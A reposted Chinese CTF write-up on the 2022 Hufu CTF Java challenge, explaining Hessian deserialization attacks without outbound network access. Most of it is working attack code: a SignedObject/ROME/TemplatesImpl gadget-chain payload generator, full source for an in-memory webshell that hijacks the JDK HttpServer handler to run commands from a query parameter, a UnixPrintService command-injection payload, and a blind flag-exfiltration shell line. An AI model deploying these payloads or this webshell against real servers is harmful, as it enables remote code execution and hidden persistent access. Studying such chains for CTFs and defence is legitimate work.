2022虎符CTF-Java部分

admin 2024年10月29日00:02:03评论9 views字数 8875阅读29分35秒阅读模式

2022虎符CTF-Java部分

写在前面

​ 非小白文,代码基于marshalsec项目基础上进行修改

正文

​ 本身我是不太懂hessian的反序列化,大概去网上搜了一下配合ROME利用的思路(如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME),这里不清楚可以看看ROME利用链以及hessian反序列化的一些简单东西

​ 首先简单看下docker,可以看到会导致不能出网

123456789101112131415161718192021222324252627
version: '2.4'services:  nginx:    image: nginx:1.15    ports:      - "0.0.0.0:8090:80"    restart: always    volumes:        - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro    networks:      - internal_network      - out_network  web:    build: ./    restart: always    volumes:        - ./flag:/flag:ro    networks:      - internal_networknetworks:    internal_network:        internal: true        ipam:            driver: default    out_network:        ipam:            driver: default

nginx.conf

12345678910111213141516171819
server {    listen       80;    server_name  localhost;    location / {        root   /usr/share/nginx/html;        index  index.html index.htm;proxy_pass http://web:8090;    }    #error_page  404              /404.html;    # redirect server error pages to the static page /50x.html    #    error_page   500 502 503 504  /50x.html;    location = /50x.html {        root   /usr/share/nginx/html;    }}

利用一:SignedObject实现二次反序列化

既然不出网那就无法配合JNDI去利用了(网上主流的利用),后面尝试了TemplatesImpl,在Hessian的一些限制下(有空自己去看源码),导致被transient修饰的_tfactory对象无法写入造成空指针异常,为什么呢,自己看图可以看到不仅仅是被transient修饰,同时静态变量也不行,这里导致另一个利用链不能打,这里不提

2022虎符CTF-Java部分

之后解决思路就是找个二次反序列化的点触发原生反序列化即可,最后找到个java.security.SignedObject#SignedObject,里面的getObject可以触发

1234567891011
public Object getObject()    throws IOException, ClassNotFoundException{    // creating a stream pipe-line, from b to a    ByteArrayInputStream b = new ByteArrayInputStream(this.content);    ObjectInput a = new ObjectInputStream(b);    Object obj = a.readObject();    b.close();    a.close();    return obj;}

这时候聪明的你一定想问,为什么原生反序列化就可以恢复这个trasient修饰的变量呢,答案如下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject,重写了readOBject方法

2022虎符CTF-Java部分

因此得到下面简单的payload,下面payload有一些地方还可以完善变得更好,但是我懒

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859
package marshalsec;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ObjectBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import marshalsec.gadgets.JDKUtil;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;import static marshalsec.util.Reflections.setFieldValue;public class Test {    public static void main(String[] args) throws Exception {        byte[] code = ClassPool.getDefault().get("Yyds").toBytecode();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates,"_name","abc");        setFieldValue(templates,"_class",null);         setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());        setFieldValue(templates,"_bytecodes",new byte[][]{code});        ToStringBean bean = new ToStringBean(Templates.class,templates);        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);        setFieldValue(badAttributeValueExpException,"val",bean);        KeyPairGenerator keyPairGenerator;        keyPairGenerator = KeyPairGenerator.getInstance("DSA");        keyPairGenerator.initialize(1024);        KeyPair keyPair = keyPairGenerator.genKeyPair();        PrivateKey privateKey = keyPair.getPrivate();        Signature signingEngine = Signature.getInstance("DSA");        SignedObject so = null;        so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);        ObjectBean delegate = new ObjectBean(SignedObject.class, so);        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);        HashMap<Object, Object> map = JDKUtil.makeMap(root, root);        ByteArrayOutputStream os = new ByteArrayOutputStream();        Hessian2Output output = new Hessian2Output(os);        output.writeObject(map);        output.getBytesOutputStream().flush();        output.completeMessage();        output.close();        System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));    }}

这样就可以实现执行反序列化打TemplatesImpl加载恶意代码了,接下来既然不出网,比较方便的就是去注入内存马

按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()Thread.getThreads()获取,按照这个思路写就行了

2022虎符CTF-Java部分2022虎符CTF-Java部分

我是懒狗之间暴力替换handler(继承AbstractTranslet实现HttpHandler),嫌弃麻烦可以自己加路由可以让代码更短,还可以放到静态块防止触发两次,一句话我懒自己改去

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091
import com.sun.net.httpserver.HttpContext;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import java.lang.reflect.Field;public class Yyds extends AbstractTranslet implements HttpHandler {    public void handle(HttpExchange t) throws IOException {        String response = "Y4tacker's MemoryShell";        String query = t.getRequestURI().getQuery();        String[] var3 = query.split("=");        System.out.println(var3[0]+var3[1]);        ByteArrayOutputStream output = null;        if (var3[0].equals("y4tacker")){            InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream();            output = new ByteArrayOutputStream();            byte[] buffer = new byte[4096];            int n = 0;            while (-1 != (n = inputStream.read(buffer))) {                output.write(buffer, 0, n);            }        }        response+=("\n"+new String(output.toByteArray()));        t.sendResponseHeaders(200, (long)response.length());        OutputStream os = t.getResponseBody();        os.write(response.getBytes());        os.close();    }    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }    public Yyds() throws Exception  {        super();        try{            Object obj = Thread.currentThread();            Field field = obj.getClass().getDeclaredField("group");            field.setAccessible(true);            obj = field.get(obj);            field = obj.getClass().getDeclaredField("threads");            field.setAccessible(true);            obj = field.get(obj);            Thread[] threads = (Thread[]) obj;            for (Thread thread : threads) {                if (thread.getName().contains("Thread-2")) {                    try {                        field = thread.getClass().getDeclaredField("target");                        field.setAccessible(true);                        obj = field.get(thread);                        System.out.println(obj);                        field = obj.getClass().getDeclaredField("this$0");                        field.setAccessible(true);                        obj = field.get(obj);                        field = obj.getClass().getDeclaredField("contexts");                        field.setAccessible(true);                        obj = field.get(obj);                        field = obj.getClass().getDeclaredField("list");                        field.setAccessible(true);                        obj = field.get(obj);                        java.util.LinkedList lt = (java.util.LinkedList)obj;                        Object o = lt.get(0);                        field = o.getClass().getDeclaredField("handler");                        field.setAccessible(true);                        field.set(o,this);                    }catch (Exception e){                        e.printStackTrace();                    }                }            }        }catch (Exception e){        }    }}

其实可以去静态块改一下,不然执行两次多多少少有点烦,就这样了so easy

当然太暴力了也不好哈哈哈,还可以在上面的sun.net.httpserver.ServerImpl$Dispatcher直接执行sun.net.httpserver.ServerImpl#createContext(java.lang.String, com.sun.net.httpserver.HttpHandler)创建新的路由即可

这里就不写了,一个字懒,反正也不难

实现效果

2022虎符CTF-Java部分

利用二:UnixPrintService直接执行命令

之前不清楚,后面@wuyx师傅提醒我才发现可以不用实现序列化接口,具体可以参考marshalsec的实现

123
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();sf.setAllowNonSerializable(true);output.setSerializerFactory(sf);

sun.print.UnixPrintService的所有get方法都能触发,别看这个是Unix其实linux也有,在高版本被移除(有兴趣自己考古),利用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)

2022虎符CTF-Java部分

它会去找public修饰的getter方法,而为什么会调用哪个私有方法其实也很简单比如说getAttributes里面就调用了这些触发命令执行的私有方法

1234567891011121314151617
public PrintServiceAttributeSet getAttributes() {        HashPrintServiceAttributeSet var1 = new HashPrintServiceAttributeSet();        var1.add(this.getPrinterName());        var1.add(this.getPrinterIsAcceptingJobs());        PrinterState var2 = this.getPrinterState();        if (var2 != null) {            var1.add(var2);        }        PrinterStateReasons var3 = this.getPrinterStateReasons();        if (var3 != null) {            var1.add(var3);        }        var1.add(this.getQueuedJobCount());        return AttributeSetUtilities.unmodifiableView(var1);}
12345678910111213141516171819
Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);declaredConstructor.setAccessible(true);ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,declaredConstructor.newInstance(";open -na Calculator"));ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);HashMap<Object, Object> map = JDKUtil.makeMap(root, root);//ByteArrayOutputStream os = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(os);HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();sf.setAllowNonSerializable(true);output.setSerializerFactory(sf);output.writeObject(map);output.getBytesOutputStream().flush();output.completeMessage();output.close();System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));

拿flag的话就两种方式JavaAgent注入内存马,或者本来就是ctf

1
if [ `cut -c 1 flag` = "a" ];then sleep 2;fi

如何快速拿利用链

在这次比赛后我简单学习了下用tabby,通过下面的neo4j查询语句,之后人工排查下

1
match path=(m1:Method)-[:CALL*..3]->(m2:Method {}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and (m2.NAME =~ "exec.*" or m2.NAME =~ "readObject") return path

利用一:

2022虎符CTF-Java部分

利用二:

2022虎符CTF-Java部分

总的来说还是学的挺多,挺有收获的一个比赛

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:02:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022虎符CTF-Java部分https://cn-sec.com/archives/3314967.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息